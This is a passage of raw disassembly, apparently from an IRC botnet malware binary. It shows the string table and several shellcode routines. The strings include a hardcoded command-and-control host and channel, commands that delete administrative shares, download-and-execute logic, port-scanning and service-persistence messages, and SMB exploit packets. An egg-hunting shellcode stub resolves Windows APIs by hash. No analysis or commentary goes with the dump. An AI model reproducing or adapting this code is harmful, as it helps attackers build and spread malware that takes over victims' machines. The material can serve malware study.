43BE9Dh, 0FFFFFFFFh dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd 106h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_4034E0+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4435EC: ; DATA XREF: sub_4034E0+66o ; sub_40FF60:loc_41083Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C70+875o ; sub_404C70+AF1o ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o ; sub_404C70+B5Eo ... align 10h asc_443600: ; DATA XREF: sub_404640:loc_40471Fo ; sub_404640+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404640+75o ; sub_40FF60:loc_410949o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o align 8 aN: ; DATA XREF: sub_404C70+D23o unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C70+447o ; sub_41C030+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o ; sub_404C70+9B1o ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406890+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo a2003 db '2003',0 ; DATA XREF: sub_406890+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406890+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406890+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406890+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406890+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406890+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406890+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo ; ___:00406E35o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o ; sub_40EC30+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406D73o dd 0 dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086D8o ... dword_4437F8 dd 40h ; sub_40FF60+7CCo ... aHotfix db 'hotfix',0 ; DATA XREF: sub_407790+394o align 4 aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+383o align 8 aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+372o align 4 aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o align 4 dd 0 aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+350o align 8 aHail db 'Hail-',0 ; DATA XREF: sub_407790+342o align 10h aWintwir db 'wintwir',0 ; DATA XREF: sub_407790+331o dd 0 aMsnnmaneger_ex db 'msnnmaneger.exe',0 ; DATA XREF: sub_407790+320o align 10h aServec db 'servec',0 ; DATA XREF: sub_407790+30Fo align 4 aS_1 db '#s',0 ; DATA XREF: sub_407790+2FEo align 4 aScop db '#scop#',0 ; DATA XREF: sub_407790+2EDo align 4 aSaad db 'saad',0 ; DATA XREF: sub_407790+2A9o ; sub_407790+2DCo align 4 a7000 db '7000',0 ; DATA XREF: sub_407790+298o ; sub_407790+2CBo align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o ; sub_407790+2BAo align 10h off_4438C0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4438E0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_443908 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o ; ___:0040A971o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo ; sub_40B700+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B79Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B844o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C400+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o align 10h dword_443A30 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C400+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o dd 0 asc_443B04: ; DATA XREF: sub_40CBB0+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o align 4 aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o ; sub_40EF90+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo align 10h dd 0 asc_443C84 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo ; sub_40FF60+1118o ... align 4 asc_443C88: ; DATA XREF: sub_40FF60+CACo ; sub_40FF60+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o ; sub_40FF60:loc_410BB7o aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo ; sub_40FF60:loc_410B96o asc_443C94: ; DATA XREF: sub_40FF60+871o ; sub_40FF60:loc_410BD8o ... unicode 0, <:>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do ; sub_40FF60+732o ... align 8 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h dd 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o ; sub_4126B0+91o ... dd 0 dword_443CD4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4 dd 0A0D7325h, 0 ; sub_42D1A0+71o dword_443CEC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo dword_443CFC dd 4255505Bh, 5D43494Ch, 0dword_443D08 dd 4952505Bh, 45544156h, 5Dhdword_443D14 dd 202Eh ; sub_4126B0+E5o dword_443D18 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o align 10h aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao align 4 asc_443D34: ; DATA XREF: ___:loc_412E63o dw 3Ch unicode 0, <>,0 asc_443D38: ; DATA XREF: ___:loc_412E4Co dw 3Eh unicode 0, <>,0 asc_443D3C db '==',0 ; DATA XREF: ___:loc_412E35o align 10h asc_443D40 db '!=',0 ; DATA XREF: ___:00412E21o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o ; sub_4192C0+297o align 4 aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o align 10h aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o align 10h off_443D80 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o ; ___:0042B302o ... dword_443D84 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo dword_443D90 dd 652Dh dword_443D94 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o align 10h aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo align 10h byte_443DD0 db 1 ; DATA XREF: sub_41A290r align 4 dword_443DD4 dd 2Eh ; ___:0041B235o ... dword_443DD8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_443E24: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_443E38 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84 dd 63257325h, 0 ; sub_41F860+E5o dword_443E8C dd 72h dword_443E90 dd 30h ; sub_424840+327o dword_443E94 dd 3039h dword_443E98 dd 383631h dword_443E9C dd 323931h dword_443EA0 dd 3631h dword_443EA4 dd 323731h dword_443EA8 dd 3031h off_443EAC dd offset loc_5C005C ; DATA XREF: ___:0041C117r ; ___:0041C287r word_443EB0 dw 0 ; DATA XREF: ___:0041C121r ; ___:0041C291r align 4 off_443EB4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r ; ___:0041C256r dword_443EB8 dd 430050h ; ___:0041C25Br dword_443EBC dd 24h ; ___:0041C27Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_443EF8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dd 4 dup(0) aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o align 4 aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o align 4 dd 0 aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao align 4 aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o align 4 aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo align 10h aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo align 10h aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo dd 0 dword_443FFC dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C dd 6469706Bh, 7325203Ah, 0dword_444018 dd 203A736Bh, 7325hdword_444020 dd 202E6425h, 7325202Fh, 0dword_44402C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o align 10h a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o ; sub_41EF30+6A9o align 4 a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o ; sub_41EF30+677o align 10h aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0 ; DATA XREF: sub_41EF30+62Bo align 4 dd 2 dup(0) aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo align 10h a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o ; sub_41EF30+51Ao align 4 asc_4440A8: ; DATA XREF: sub_41EF30+2EFo ; sub_41EF30+33Ao ... unicode 0, <,>,0 a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o ; sub_41EF30+29Bo ... align 4 a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o ; sub_41EF30+269o align 4 a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o ; sub_41EF30+237o align 4 a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o ; sub_41EF30+205o align 4 aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo align 8 aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co align 4 dd 0 aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o ; sub_420530+C4r ... align 10h aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo ; sub_4207E0+316o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o ; sub_4207E0+2BEo align 8 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o align 8 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o align 10h aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o ; sub_420530+34o align 4 aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co align 4 aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do dd 0 aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o align 10h aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o align 4 aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo align 4 aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o align 10h aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o align 4 aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo dd 0 aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo align 10h aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o dd 0 aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o align 4 aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo align 4 aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o align 4 aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o dd 0 aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do align 8 aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o align 10h aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o dd 0 aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co align 8 aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o align 4 aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o align 4 aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo align 10h aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o align 4 aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o align 4 aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao align 4 aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo align 4 aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o align 4 aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o align 8 aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo align 4 aNla db 'Nla',0 ; DATA XREF: sub_4207E0+E3o aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o align 10h aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo align 4 off_44433C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo dd 0 aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o align 10h dd 0 aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo align 4 aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o align 10h aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do align 10h dd 2 dup(0) aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o align 8 aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do align 4 aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o align 4 aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do align 4 aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o align 4 aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do align 4 aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_444410: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_444448 dd 1BDh ; sub_422A40+310o ... off_44444C dd offset sub_401811 ; DATA XREF: ___:00423E93r dword_444450 dd 0 ; sub_4235F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401811h, 0 dd 1, 19h dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422A40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o align 4 dd 0 aB db ' -b',0 ; DATA XREF: sub_422A40+747o off_444580 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o ; sub_422A40+7A3o ... dword_444584 dd 722D20h ; sub_422A40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do align 4 dd 0 dword_44467C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423CD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004241D7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424126o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042406Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo align 10h dword_444840 dd 10FF8h, 0 dword_444848 dd 10FF8h dword_44484C dd 7FFDF020h, 0 dword_444854 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4448DC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_44490C dd 0 dword_444910 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_444918 proc near ; DATA XREF: sub_425020+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_444A14 push dword ptr [esi] push 63D61209h call sub_444A2A mov [esi+8], eax call sub_4449DD push dword ptr [esi+4] push 0CA2BD06Bh call sub_444A2A mov [esi+0Ch], eax call sub_44498F push dword ptr [esi+4] push 4C0297FAh call sub_444A2A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_444918 endp ; =============== S U B R O U T I N E ======================================= sub_44498F proc near ; CODE XREF: sub_444918+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4449B8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_44498F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449B8 proc near ; CODE XREF: sub_44498F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4449C7: ; CODE XREF: sub_4449B8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4449D4 inc ebx jmp short loc_4449C7 ; --------------------------------------------------------------------------- loc_4449D4: ; CODE XREF: sub_4449B8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4449B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449DD proc near ; CODE XREF: sub_444918+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4449F5: ; CODE XREF: sub_4449DD+1Ej cmp [ecx], ebx jz short loc_4449FD mov ecx, [ecx] jmp short loc_4449F5 ; --------------------------------------------------------------------------- loc_4449FD: ; CODE XREF: sub_4449DD+1Aj mov edx, edi loc_4449FF: ; CODE XREF: sub_4449DD+2Aj cmp [edx+4], ebx jz short loc_444A09 mov edx, [edx+4] jmp short loc_4449FF ; --------------------------------------------------------------------------- loc_444A09: ; CODE XREF: sub_4449DD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4449DD endp ; =============== S U B R O U T I N E ======================================= sub_444A14 proc near ; CODE XREF: sub_444918+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_444A14 endp ; =============== S U B R O U T I N E ======================================= sub_444A2A proc near ; CODE XREF: sub_444918+16p ; sub_444918+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_444A40: ; CODE XREF: sub_444A2A+33j jecxz short loc_444A7A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_444A4D: ; CODE XREF: sub_444A2A+2Dj lodsb cmp al, ah jz short loc_444A59 ror edi, 0Dh add edi, eax jmp short loc_444A4D ; --------------------------------------------------------------------------- loc_444A59: ; CODE XREF: sub_444A2A+26j cmp edi, [esp+20h+arg_0] jnz short loc_444A40 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_444A7A: ; CODE XREF: sub_444A2A:loc_444A40j ; sub_444A2A:loc_444A7Aj jmp short loc_444A7A sub_444A2A endp ; 